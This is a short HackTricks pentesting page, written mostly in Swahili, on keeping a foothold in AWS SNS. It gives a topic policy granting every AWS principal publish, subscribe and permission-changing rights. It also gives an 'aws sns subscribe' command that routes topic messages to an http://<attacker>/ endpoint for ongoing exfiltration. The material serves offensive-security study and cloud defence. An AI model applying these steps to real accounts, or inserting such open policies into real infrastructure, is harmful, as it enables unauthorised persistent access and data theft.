AWS - SNS Persistence

Support HackTricks

SNS

Kwa maelezo zaidi angalia:

Persistence

Unapounda SNS topic unahitaji kuonyesha kwa sera ya IAM nani ana ufikiaji wa kusoma na kuandika. Inawezekana kuonyesha akaunti za nje, ARN za majukumu, au hata "*". Sera ifuatayo inawapa kila mtu katika AWS ufikiaji wa kusoma na kuandika katika SNS topic inayoitwa MySNS.fifo:

{
"Version": "2008-10-17",
"Id": "__default_policy_ID",
"Statement": [
{
"Sid": "__default_statement_ID",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"SNS:Publish",
"SNS:RemovePermission",
"SNS:SetTopicAttributes",
"SNS:DeleteTopic",
"SNS:ListSubscriptionsByTopic",
"SNS:GetTopicAttributes",
"SNS:AddPermission",
"SNS:Subscribe"
],
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo",
"Condition": {
"StringEquals": {
"AWS:SourceOwner": "318142138553"
}
}
},
{
"Sid": "__console_pub_0",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "SNS:Publish",
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
},
{
"Sid": "__console_sub_0",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "SNS:Subscribe",
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
}
]
}

Create Subscribers

Ili kuendelea kutoa ujumbe wote kutoka kwa mada zote, mshambuliaji anaweza kuunda wanachama kwa mada zote.

Kumbuka kwamba ikiwa mada ni ya aina ya FIFO, wanachama pekee wanaotumia itifaki SQS wanaweza kutumika.

aws sns subscribe --region <region> \
--protocol http \
--notification-endpoint http://<attacker>/ \
--topic-arn <arn>
Support HackTricks

Last updated